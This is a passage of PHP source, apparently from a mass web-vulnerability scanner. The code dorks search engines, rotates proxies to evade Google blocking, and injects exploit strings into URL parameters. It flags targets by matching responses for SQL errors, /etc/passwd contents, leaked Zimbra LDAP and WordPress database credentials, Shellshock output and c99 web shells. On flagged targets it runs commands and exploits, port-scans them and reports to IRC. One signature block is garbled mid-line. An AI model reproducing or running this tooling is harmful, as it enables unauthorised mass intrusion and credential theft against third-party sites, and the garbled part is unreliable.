"\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}SEND MAIL:: {$_SESSION["c9"]}" . (($valid_return) ? "{$_SESSION["c4"]}" : NULL) . __sendMail($_SESSION['config']['sendmail'], $target_['url_xpl']) . "{$_SESSION["c0"]}" : NULL); + (not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? __saveValue($_SESSION['config']['arquivo_output_all'], $target_['url_xpl'], NULL) : NULL); + __plus(); + + if ($valid_return) { + + (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? + __ircMsg($_SESSION['config']['irc'], "{$_SESSION['config']['erroReturn']}::: {$target_['url_xpl']}") : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ? + __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL); + __plus(); + } + + (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['sub-file']) && + is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL); + __plus(); + + ($_SESSION['config']['robots'] ? __getValuesRobots($host) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['port-scan']) ? __portScan(array(0 => $target_, 1 => $_SESSION['config']['port-scan'])) : NULL); + __plus(); + + __timeSec('delay', "\n"); + } +} + +################################################################################ +#PRINT MESSAGE AND OUT OF THE PROCESS########################################### +################################################################################ + +function __getOut($msg) { + __ircQuit($_SESSION['config']['irc']); + print_r($msg); + exit(1); +} + +################################################################################ +#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF ENGINE#################### +################################################################################ + +function __process($resultadoURL) { + + __plus(); + $resultadoURL[0] = (is_array($resultadoURL) ? array_unique(array_filter($resultadoURL)) : $resultadoURL); + $resultadoURL[0] = ($_SESSION['config']['unique'] ? __filterDomainUnique($resultadoURL[0]) : $resultadoURL[0]); + + $resultadoURL[0] = (not_isnull_empty($_SESSION['config']['ifurl']) ? __filterURLif($resultadoURL[0]) : $resultadoURL[0]); + $_SESSION['config']['total_url'] = count($resultadoURL[0]); + + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c12"]}[ TOTAL FOUND VALUES ]::{$_SESSION["c1"]} [ {$_SESSION['config']['total_url']} ]{$_SESSION["c0"]}\n"; + __debug(array('debug' => $resultadoURL[0], 'function' => '__process'), 3); + + if (count($resultadoURL[0]) > 0) { + + $_SESSION['config']['irc']['irc_connection'] = (not_isnull_empty($_SESSION['config']['irc']['conf']) ? __ircConect($_SESSION['config']['irc']) : NULL); + $_SESSION['config']['irc']['my_fork'] = pcntl_fork(); + + if ($_SESSION['config']['irc']['my_fork'] == 0) { + + (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? __ircPong($_SESSION['config']['irc']) : NULL); + exit(0); + } else if ($_SESSION['config']['irc']['my_fork'] == -1) { + + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}ERROR Fork failed{$_SESSION["c0"]}\n"); + } + + $_SESSION['config']['user-agent'] = ($_SESSION['config']['shellshock']) ? $_SESSION['config']['user_agent_xpl'] : $_SESSION['config']['user-agent']; + foreach ($resultadoURL[0] as $url) { + + __plus(); + $url = urldecode(not_isnull_empty($_SESSION['config']['target']) ? + $_SESSION['config']['target'] . $url : $url); + + if (__validateURL($url) || not_isnull_empty($_SESSION['config']['abrir-arquivo'])) { + + __processUrlExec(__filterURLTAG($url), $_SESSION["config"]["contUrl"] ++); + __plus(); + } + } + } else { + + print_r("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]} Not a satisfactory result was found!{$_SESSION["c0"]}\n"); + } +} + +################################################################################ +#ERRORS STANDARDS OF SCRIPT VALIDATE WITH HTML RECEIVED######################### +################################################################################ + +function __checkError($html_) { + + + if (__validateOptions($_SESSION['config']['tipoerro'], '2')) { + + $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL; + } + + if (__validateOptions('1,3,4', $_SESSION['config']['tipoerro'])) { + + if (__validateOptions('3,4', $_SESSION['config']['tipoerro'])) { + + $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL; + } + + /* [*]SHELLSHOCK + * (CVE-2014-6271, CVE-2014-6277, + * CVE-2014-6278, CVE-2014-7169, + * CVE-2014-7186, CVE-2014-7187) + * is a vulnerability in GNU's bash shell that gives attackers access + * to run remote commands on a vulnerable system. */ + $validation['SHELLSHOCK-01'] = '99887766555'; + + /* [*]LOCAL FILE INCLUSION + * Local File Inclusion (also known as LFI) is the process of including + * files, that are already locally present on the server, through the + * exploiting of vulnerable inclusion procedures implemented in the + * application. + * https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion */ + $validation['LOCAL-FILE-INCLUSION-01'] = '/root:/'; + $validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:'; + $validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:'; + + /* [*]ZIMBRA MAIL + * Zimbra 0day exploit / Privilegie escalation via LFI + * This script exploits a Local File Inclusion in + * /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz + * which allows us to see localconfig.xml + * that contains LDAP root credentials wich allow us to make requests in + * /service/admin/soap API with the stolen LDAP credentials to create user + * with administration privlegies + * and gain acces to the Administration Console. + * https://www.exploit-db.com/exploits/30085/ */ + $validation['ZIMBRA-WEB-MAIL-01'] = 'zimbra_user'; + $validation['ZIMBRA-WEB-MAIL-02'] = 'zimbra_ldap_password'; + $validation['ZIMBRA-WEB-MAIL-03'] = 'ldap_replication_password'; + $validation['ZIMBRA-WEB-MAIL-04'] = 'ldap_root_password'; + $validation['ZIMBRA-WEB-MAIL-05'] = 'ldap_nginx_password'; + $validation['ZIMBRA-WEB-MAIL-06'] = 'mailboxd_keystore_password'; + $validation['ZIMBRA-WEB-MAIL-07'] = 'zimbra_mysql_password'; + $validation['ZIMBRA-WEB-MAIL-08'] = 'mysql_root_password'; + $validation['ZIMBRA-WEB-MAIL-10'] = 'mailboxd_truststore_password'; + $validation['ZIMBRA-WEB-MAIL-11'] = 'ldap_postfix_password'; + $validation['ZIMBRA-WEB-MAIL-12'] = 'ldap_amavis_password'; + + /* [*]ZEND FRAMEWORK + * Zend-Framework Full Info Disclosure + * The username and password of the database may be obtained trough + * the "application.ini" file + * https://www.exploit-db.com/exploits/29921/ */ + $validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username'; + $validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password'; + $validation['ZEND-FRAMEWORK-03'] = 'db.params.username'; + $validation['ZEND-FRAMEWORK-04'] = 'db.params.password'; + $validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname'; + + /* [*]CMS WORDPRESS + * As the name suggests, if the web application doesn’t check the file + * name required by the user, any malicious user can exploit this + * vulnerability to download sensitive files from the server. + * Arbitrary File Download vulnerability file wp-config.php + * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 + * http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure */ + $validation['CMS-WORDPRESS-01'] = "define('DB_NAME'"; + $validation['CMS-WORDPRESS-02'] = "define('DB_USER'"; + $validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'"; + $validation['CMS-WORDPRESS-04'] = "define('DB_HOST'"; + + /* [*]ERROR MARIADB + * MariaDB is a drop-in replacement for MySQL. + * MariaDB strives to be the logical choice for database professionals + * looking for a robust, scalable, and reliable SQL server. To accomplish + * this, the MariaDB Foundation work closely and cooperatively with the + * larger community of users and developers in the true spirit of Free + * and open source software, and release software in a manner that + * balances predictability with reliability. + * https://mariadb.org/en/about/ */ + $validation['MARIADB-01'] = 'MariaDB server version for the right syntax'; + + /* [*]ERROR MYSQL + * MySQL is a database management system (DBMS), which uses the SQL + * (Structured Query Language, English Structured Query Language) as + * interface. It is currently one of the most popular databases, with + * more than 10 million installations worldwide + * https://www.mysql.com/ + * http://php.net/manual/en/security.database.sql-injection.php + */ + $validation['MYSQL-AND-MARIADB'] = 'You have an error in your SQL syntax;'; + $validation['MYSQL-03'] = 'Warning: mysql_'; + $validation['MYSQL-04'] = 'function.mysql'; + $validation['MYSQL-05'] = 'MySQL result index'; + $validation['MYSQL-07'] = 'MySQL Error'; + $validation['MYSQL-08'] = 'MySQL ODBC'; + $validation['MYSQL-09'] = 'MySQL Driver'; + $validation['MYSQL-10'] = 'mysqli.query'; + $validation['MYSQL-11'] = 'num_rows'; + $validation['MYSQL-12'] = 'mysql error:'; + $validation['MYSQL-13'] = 'supplied argument is not a valid MySQL result resource'; + $validation['MYSQL-14'] = 'on MySQL result index'; + $validation['MYSQL-15'] = 'Error Executing Database Query'; + $validation['MYSQL-01'] = 'mysql_'; + + /* [*]ERROR MICROSOFT + * MICROSOFT TECHNOLOGY + * http://www.microsoft.com/pt-br/server-cloud/products/sql-server/ + * https://products.office.com/pt-br/access + * https://www.owasp.org/index.php/Testing_for_SQL_Server */ + $validation['MICROSOFT-01'] = 'Microsoft JET Database'; + $validation['MICROSOFT-02'] = 'ADODB.Recordset'; + $validation['MICROSOFT-03'] = '500 - Internal server error'; + $validation['MICROSOFT-04'] = 'Microsoft OLE DB Provider'; + $validation['MICROSOFT-05'] = 'Unclosed quotes'; + $validation['MICROSOFT-06'] = 'ADODB.Command'; + $validation['MICROSOFT-07'] = 'ADODB.Field error'; + $validation['MICROSOFT-08'] = 'Microsoft VBScript'; + $validation['MICROSOFT-09'] = 'Microsoft OLE DB Provider for SQL Server'; + $validation['MICROSOFT-10'] = 'Unclosed quotation mark'; + $validation['MICROSOFT-11'] = 'Microsoft OLE DB Provider for Oracle'; + $validation['MICROSOFT-14'] = 'Active Server Pages error'; + $validation['MICROSOFT-15'] = 'OLE/DB provider returned message'; + $validation['MICROSOFT-16'] = 'OLE DB Provider for ODBC'; + $validation['MICROSOFT-17'] = "error '800a0d5d'"; + $validation['MICROSOFT-18'] = "error '800a000d'"; + $validation['MICROSOFT-19'] = 'Unclosed quotation mark after the character string'; + $validation['MICROSOFT-20'] = '[Microsoft][SQL Server Native Client 11.0][SQL Server]'; + $validation['MICROSOFT-21'] = 'Warning: odbc_'; + + /* #[*]ERROR ORACLE + * - DBMS currently marketed by Oracle, who was born in 1979 and was + * the first relational BD sold worldwide; + * - Latest version: Oracle Database 11G; + * http://www.oracle.com/br/solutions/midsize/oracle-products/database/index.html + * https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf */ + $validation['ORACLE-01'] = 'ORA-00921: unexpected end of SQL command'; + $validation['ORACLE-02'] = 'ORA-01756'; + $validation['ORACLE-03'] = 'ORA-'; + $validation['ORACLE-04'] = 'Oracle ODBC'; + $validation['ORACLE-05'] = 'Oracle Error'; + $validation['ORACLE-06'] = 'Oracle Driver'; + $validation['ORACLE-07'] = 'Oracle DB2'; + $validation['ORACLE-08'] = 'error ORA-'; + $validation['ORACLE-09'] = 'SQL command not properly ended'; + + /* #[*]ERROR DB2 + * DB2 is a database system Relational Manager (SGDBR) produced by IBM. + * There are different versions of DB2 running from a simple PDA | + * handheld, even in powerful mainframes and run on servers based on + * Unix, Windows, or Linux. + * http://www-01.ibm.com/software/br/db2/lowerdatabasecosts/ + * https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#DB2_Escaping */ + $validation['DB2-01'] = 'DB2 ODBC'; + $validation['DB2-02'] = 'DB2 error'; + $validation['DB2-03'] = 'DB2 Driver'; + + /* #[*]ERROR ODBC + * ODBC (acronym for Open Database Connectivity) is a standard for + * access to managers of database systems (DBMS). + * https://support.office.com/pt-br/article/Administrar-fontes-de-dados-ODBC-b19f856b-5b9b-48c9-8b93-07484bfab5a7 + * https://www.exploit-db.com/papers/12975/ */ + $validation['ODBC-01'] = 'ODBC SQL'; + $validation['ODBC-02'] = 'ODBC DB2'; + $validation['ODBC-03'] = 'ODBC Driver'; + $validation['ODBC-04'] = 'ODBC Error'; + $validation['ODBC-05'] = 'ODBC Microsoft Access'; + $validation['ODBC-06'] = 'ODBC Oracle'; + $validation['ODBC-07'] = 'ODBC Microsoft Access Driver'; + + /* #[*]ERROR POSTGRESQL + * PostgreSQL is an object-relational database management system + * (ORDBMS), developed as an open source project. + * http://www.postgresql.org.br/old/ + * https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL */ + $validation['POSTGRESQL-01'] = 'Warning: pg_'; + $validation['POSTGRESQL-02'] = 'PostgreSql Error:'; + $validation['POSTGRESQL-03'] = 'function.pg'; + $validation['POSTGRESQL-04'] = 'Supplied argument is not a valid PostgreSQL result'; + $validation['POSTGRESQL-05'] = 'PostgreSQL query failed: ERROR: parser: parse error'; + $validation['POSTGRESQL-06'] = 'pg_'; + + /* #[*]ERROR SYBASE + * Sybase (NYSE: SY), an SAP company, is a software company that + * produces services and products related to information management, + * mobility, messaging, development tools, and data warehousing and + * OLAP data. + * https://www.owasp.org/index.php?search=SYBASE&title=Special%3ASearch&go=Go */ + $validation['SYBASE-01'] = 'Warning: sybase_'; + $validation['SYBASE-02'] = 'function.sybase'; + $validation['SYBASE-03'] = 'Sybase result index'; + $validation['SYBASE-04'] = 'Sybase Error:'; + $validation['SYBASE-05'] = 'Sybase: Server message:'; + $validation['SYBASE-06'] = 'sybase_'; + $validation['SYBASE-07'] = '[Sybase][ODBC Driver]:'; + + /* #[*]ERROR JBOSSWEB + * JBoss Web Server is an enterprise ready web server designed for + * medium and large applications, based on Tomcat. + * JBoss Web a component of the JBoss Application Server, there are + * no more standalone version of JBoss Web you need the Application + * Server to get the Servlet/JSP container. + * http://jbossweb.jboss.org/ + * http://www.rapid7.com/db/search?utf8=%E2%9C%93&q=JBoss+&t=a */ + $validation['JBOSSWEB-01'] = 'java.sql.SQLSyntaxErrorException: ORA-'; + $validation['JBOSSWEB-02'] = 'org.springframework.jdbc.BadSqlGrammarException:'; + $validation['JBOSSWEB-03'] = 'javax.servlet.ServletException:'; + $validation['JBOSSWEB-04'] = 'java.lang.NullPointerException'; + + /* #[*]ERROR JDBC + * Java Database Connectivity or JDBC is a set of classes and + * interfaces (API) written in Java that make sending SQL statements + * for any relational database + * http://www.oracle.com/technetwork/java/javase/jdbc/index.html + * https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java */ + $validation['JDBC_CFM-01'] = 'Error Executing Database Query'; + $validation['JDBC_CFM-02'] = 'SQLServer JDBC Driver'; + $validation['JDBC_CFM-03'] = 'JDBC SQL'; + $validation['JDBC_CFM-04'] = 'JDBC Oracle'; + $validation['JDBC_CFM-05'] = 'JDBC MySQL'; + $validation['JDBC_CFM-06'] = 'JDBC error'; + $validation['JDBC_CFM-07'] = 'JDBC Driver'; + + /* #[*]JAVA INFINITYDB + * InfinityDB is an all-Java embedded database engine that is deployed + * in handheld devices, on servers, on workstations, and in distributed + * settings. */ + $validation['JAVA-INFINITYDB-01'] = 'java.io.IOException: InfinityDB'; + + /* #[*]ERROR PHP + * The PHP development team announces the immediate availability of + * PHP 5.4.40. 14 security-related bugs were fixed in this release, + * including CVE-2014-9709, CVE-2015-2301, CVE-2015-2783, CVE-2015-1352. + * All PHP 5.4 users are encouraged to upgrade to this version. + * http://php.net/ */ + $validation['ERRORPHP-01'] = 'Warning: include'; + $validation['ERRORPHP-02'] = 'Fatal error: include'; + $validation['ERRORPHP-03'] = 'Warning: require'; + $validation['ERRORPHP-04'] = 'Fatal error: require'; + $validation['ERRORPHP-05'] = 'ADODB_Exception'; + $validation['ERRORPHP-06'] = 'Warning: include('; + $validation['ERRORPHP-07'] = 'Warning: require_once('; + $validation['ERRORPHP-08'] = 'function.include'; + $validation['ERRORPHP-09'] = 'Disallowed Parent Path'; + $validation['ERRORPHP-10'] = 'function.require'; + $validation['ERRORPHP-11'] = 'Warning: main('; + $validation['ERRORPHP-12'] = 'Warning: session_start()'; + $validation['ERRORPHP-13'] = 'Warning: getimagesize()'; + $validation['ERRORPHP-16'] = 'Warning: array_merge()'; + $validation['ERRORPHP-17'] = 'Warning: preg_match()'; + $validation['ERRORPHP-18'] = 'GetArray()'; + $validation['ERRORPHP-19'] = 'FetchRow()'; + $validation['ERRORPHP-20'] = 'Warning: preg_'; + $validation['ERRORPHP-21'] = 'Warning: ociexecute()'; + $validation['ERRORPHP-22'] = 'Warning: ocifetchstatement()'; + $validation['ERRORPHP-23'] = 'PHP Warning:'; + + /* #[*]ERROR ASP + * The ASP (Active Server Pages), also known as Classic ASP today, is a + * framework of basic libraries (and not a language) for processing of + * scripting languages on the server side to generate dynamic content on + * the Web + * http://www.asp.net/ */ + $validation['ERRORASP-01'] = 'Version Information: Microsoft .NET Framework'; + $validation['ERRORASP-04'] = 'ASP.NET is configured to show verbose error messages'; + $validation['ERRORASP-05'] = 'BOF or EOF'; + $validation['ERRORASP-06'] = 'Unclosed quotation mark'; + $validation['ERRORASP-06'] = 'Error converting data type varchar to numeric'; + + /* #[*]ERROR LUA + * Lua is a scripting language imperative, procedural, small, reflective + * and light, designed to expand applications in general, to be an + * extensible language (which connects parts of a program made in more + * than one language) + * http://www.lua.org/ */ + $validation['ERRORLUA-01'] = 'LuaPlayer ERROR:'; + $validation['ERRORLUA-02'] = 'CGILua message'; + $validation['ERRORLUA-03'] = 'Lua error'; + + #[*]ERROR INDEFINIDOS + $validation['INDEFINITE-01'] = 'Incorrect syntax near'; + $validation['INDEFINITE-02'] = 'Fatal error'; + $validation['INDEFINITE-04'] = 'Invalid Querystring'; + $validation['INDEFINITE-05'] = 'Input string was not in a correct format'; + $validation['INDEFINITE-06'] = 'An illegal character has been found in the statement'; + + #[*]SHELL SCRIPT backdoored. + $validation['SHELL-01'] = 'c99shell'; + $validation['SHELL-02'] = 'C99Shell v'; + $validation['SHELL-03'] = '

'; + $validation['SHELL-05'] = '{$_SESSION['config']['regexp']} - " . $match[0][0] . " FOUD! " : NULL); + } else { + + foreach ($validation as $campo => $valor) { + + __plus(); + if (__validateBD($html_, $validation[$campo], $campo)) { + + __plus(); + return(" {$campo} - VALUE: {$validation[$campo]}"); + } + } + } +} + +################################################################################ +#CHECK ERROR 2 HTML INSIDE###################################################### +################################################################################ + +function __validateBD($html_, $verificar, $bd) { + + return (strstr($html_, $verificar)) ? $bd : NULL; +} + +################################################################################ +#FORMAT URL##################################################################### +################################################################################ + +function __mountURLExploit($_url) { + + $_url = explode("=", trim(urldecode($_url))); + $get = max(array_keys($_url)); + $get_ = $_url[$get]; + return implode("=", str_replace($get_, $get_ . ((!is_null($_SESSION['config']['exploit-get'])) ? $_SESSION['config']['exploit-get'] : NULL), $_url)); +} + +################################################################################ +#FILTER HTML URLs ALL THE RETURN OF seekers##################################### +################################################################################ + +function __filterURL($html, $op = NULL) { + + $reg = !strstr($op, 'GOOGLE') ? "#\b(href=\"|src=\"|value=\")(.*?)(\")#si" : + "#\b(href=\"|src=\"|value=\"http[s]?://|href=\"|src=\"|value=\"ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si"; + $html = str_replace('href="/url?q=', 'href="', $html); + + if (strstr($html, '.google.com/sorry/IndexRedirect?continue=https://www.google.com.') && $_SESSION['config']['persist'] <= $_SESSION["config"]['google_attempt'][1]) { + + print_r("{$_SESSION["c1"]}[ INFO ][ ERROR ]{$_SESSION["c2"]} GOOGLE LOCKED!{$_SESSION["c0"]}\n"); + $randHost = __dominioGoogleRandom(); + $_SESSION["config"]['google_attempt'][1] ++; + __pageEngine($_SESSION["config"]["conf_array_tmp"], "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $_SESSION["config"]["dork_tmp"], NULL, 0, 0, 1); + } else { + $_SESSION["config"]["google_attempt"][1] = 0; + preg_match_all($reg, $html, $html); + return (array_filter(array_unique($html[0]))); + } +} + +################################################################################ +#FILTER HTML URLs ALL THE RETURN OF GOOGLE API################################## +################################################################################ + +function __filterURLJson($html) { + + $html = json_decode($html, true); + $allresponseresults = $html['responseData']['results']; + foreach ($allresponseresults as $value) { + $tmp[] = $value['url']; + } + return (array_filter(array_unique($tmp))); +} + +################################################################################ +#Filtering the repeated emails ################################################# +################################################################################ + +function __filterEmailsRepeated() { + + echo "\n\n{$_SESSION["c1"]}|[ INFO ][ Filtering the repeated emails the file {$_SESSION['config']['arquivo_output']} ]{$_SESSION["c0"]}\n"; + $array = __openFile($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], 1); + if (is_array($array)) { + + unlink($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output']); + unset($_SESSION['config']['resultado_valores']); + foreach ($array as $value) { + + __saveValue($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], $value, 2) . __plus(); + $_SESSION['config']['resultado_valores'] .= "{$value}\n"; + } + } else { + + echo "\n\n{$_SESSION["c1"]}|[ ERROR ][ ERROR EMAILS FILTERING ]{$_SESSION["c0"]}\n"; + } +} + +################################################################################ +#COUNTING PROCESS END URLS / vuln AND SHOWING THE URLS / vuln################### +################################################################################ + +function __exitProcess() { + + $file = !is_null($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL; + $file_all = !is_null($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL; + (($_SESSION['config']['extrai-email']) ? __filterEmailsRepeated() : NULL); + $cont = count(explode("\n", $_SESSION['config']['resultado_valores'])) - 1; + echo "\n\n{$_SESSION["c1"]}[ INFO ] [ Shutting down ]{$_SESSION["c0"]}"; + echo "\n{$_SESSION["c1"]}[ INFO ] [ End of process INURLBR at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c0"]}"; + echo "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c0"]}{$_SESSION["c16"]}[ TOTAL FILTERED VALUES ]::{$_SESSION["c1"]} [ {$cont} ]{$_SESSION["c0"]}"; + echo!is_null($file) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file} ]{$_SESSION["c0"]}" : NULL; + echo!is_null($file_all) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all} ]{$_SESSION["c0"]}" : NULL; + echo "\n{$_SESSION["c1"]}|_________________________________________________________________________________________{$_SESSION["c0"]}\n"; + + print_r(!$_SESSION['config']['extrai-email'] ? $_SESSION['config']['resultado_valores'] : NULL); + + echo "\n{$_SESSION["c1"]}\_________________________________________________________________________________________/{$_SESSION["c0"]}\n"; + __getOut("\n"); +} + +################################################################################ +#CASE URLS FILTER AND VALIDATING URL VALID###################################### +################################################################################ + +function __subProcess($resultado = NULL) { + + $resultado_ = is_array($resultado) ? array_unique(array_filter($resultado)) : $resultado; + if (isset($resultado_)) { + + foreach ($resultado_ as $result) { + + $result = __filterURLTAG($result); + $result_ = __validateURL($result) ? $result : NULL; + $blacklist_ = (!is_null($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $_SESSION["config"]['blacklist']) : $_SESSION["config"]['blacklist']; + __plus(); + + if (not_isnull_empty($result_) && !__validateOptions($blacklist_, $result_, 1)) { + + $_SESSION["config"]["totas_urls"].= "{$result_}\n"; + } + } + } +} + +################################################################################ +#DEBUGAR VALORES E PROCESSOS#################################################### +################################################################################ + +function __debug($valor, $op = NULL) { + + return isset($_SESSION["config"]["debug"]) && __validateOptions($_SESSION["config"]["debug"], $op) ? "\n[ INFO ][ FUNCTION ]=>{$valor['function']}[ DEBUG ] => \n" . print_r($valor['debug']) . "\n" : NULL; +} + +################################################################################ +#TIME TO PROCESS SEC############################################################ +################################################################################ + +function __timeSec($camp, $value = NULL) { + + echo!is_null($_SESSION['config'][$camp]) && !empty($_SESSION['config'][$camp]) ? "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ TIME SEC/DELAY ]::{$_SESSION["c1"]}{ {$_SESSION["c8"]}[ {$_SESSION['config'][$camp]} ]{$_SESSION["c1"]} }{$_SESSION["c0"]}{$value}" : NULL; + !is_null($_SESSION['config'][$camp]) ? sleep($_SESSION['config'][$camp]) : NULL; +} + +################################################################################ +#SEARCH ENGINE CONFIGURATION#################################################### +################################################################################ + +function __pageEngine($confArray, $motorNome, $motorURL, $dork, $postDados, $pagStart, $pagLimit, $pagIncrement, $pagStart2 = NULL, $pagIncrement2 = NULL) { + + __plus(); + + echo ("\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ ENGINE ]::{$_SESSION["c1"]}[ {$motorNome} ]{$_SESSION["c0"]}\n"); + echo (!is_null($_SESSION['config']['max_pag']) ? ("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ LIMIT PAG ]::{$_SESSION["c1"]}[ {$_SESSION['config']['max_pag']} ]{$_SESSION["c0"]}\n") : NULL); + $http_proxy = not_isnull_empty($_SESSION['config']['proxy-http-file']) || not_isnull_empty($_SESSION['config']['proxy-http']) ? __proxyHttpRandom() : NULL; + echo not_isnull_empty($http_proxy) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ HTTP_PROXY ]:: {$http_proxy}{$_SESSION["c0"]}\n" : NULL; + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c0"]}\n"; + + $contMaxpg = 0; + $pagStart2_ = $pagStart2; + $pagStart3_ = $pagStart2; + while ($pagStart <= $pagLimit) { + + echo "{$_SESSION["c1"]}-{$_SESSION["c16"]}[{$_SESSION["c12"]}:::{$_SESSION["c16"]}]{$_SESSION["c0"]}"; + __plus(); + $_proxy = not_isnull_empty($confArray["list_proxy_rand"]) && !not_isnull_empty($_SESSION['config']['time-proxy']) ? $confArray["list_proxy_rand"] : $_SESSION["config"]["proxy"]; + $proxy = not_isnull_empty($_SESSION['config']['proxy-file']) && not_isnull_empty($_SESSION['config']['time-proxy']) ? __timeSecChangeProxy($confArray["list_proxy_file"]) : $_proxy; + + $murl[0] = str_replace("[DORK]", $dork, $motorURL); + $murl[0] = str_replace("[PAG]", $pagStart, $murl[0]); + $murl[0] = str_replace("[PAG2]", $pagStart2_, $murl[0]); + $murl[0] = str_replace("[PAG3]", $pagStart3_, $murl[0]); + $murl[0] = str_replace("[RANDOM]", base64_encode(intval(rand() % 255) . intval(rand() % 2553333)), $murl[0]); + $murl[0] = str_replace("[IP]", intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255), $murl[0]); + + + $postDados = !is_null($postDados) ? __convertUrlQuery(parse_url(urldecode($murl[0]), PHP_URL_QUERY)) : NULL; + + __debug(array('debug' => "[ URL ENGINE ]{$http_proxy}{$murl[0]}", 'function' => '__pageEngine'), 1); + + $request__ = __request_info($http_proxy . $murl[0], $proxy, $postDados); + __plus(); + $tmp_url = ($motorNome == 'GOOGLE API') ? __filterURLJson($request__["corpo"]) : __filterURL($request__["corpo"], $motorNome); + __subProcess($tmp_url); + __plus(); + + $pagStart = ($pagStart + $pagIncrement); + $pagStart2_ = ($pagStart2_ + $pagIncrement); + $pagStart3_ = ($pagStart3_ + $pagIncrement2); + $contMaxpg++; + __timeSec('delay'); + + if (!is_null($_SESSION['config']['max_pag']) && $_SESSION['config']['max_pag'] == $contMaxpg) { + + break; + } + } +} + +################################################################################ +#SUB PROCESS INJECT VALUES###################################################### +################################################################################ + +function __subExecExploits($target, $exploitArray = array()) { + + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ SUB PROCESS ]::\n"; + $target = __filterHostname($target); + + foreach ($exploitArray as $value) { + + $postDados = !is_null($_SESSION["config"]["sub-post"]) ? __convertUrlQuery($value) : NULL; + $patch_GP = (is_null($postDados) ? $value : NULL); + $url = $target . $_SESSION["config"]["sub-concat"] . $patch_GP; + + echo "{$_SESSION["c7"]}-[||]{$_SESSION["c0"]}"; + $resultado__ = __request_info($url, $_SESSION["config"]["proxy"], $postDados); + __plus(); + $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) && + strstr($resultado__['server']['http_code'], $_SESSION['config']['ifcode']) ? + "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL; + $ifredirect = (strstr($resultado__['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? $resultado__['server']['redirect_url'] : NULL; + $_ex['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado__['corpo']); + + __plus(); + $_ex['vull_style'] = (not_isnull_empty($_ex['erroReturn'])) ? + "{$_SESSION["c15"]}[ INFO ][ {$_ex['erroReturn']} ]\n[ INFO ][ TARGET POTENTIALLY VULNERABLE ]: " . __cli_beep() : NULL; + echo 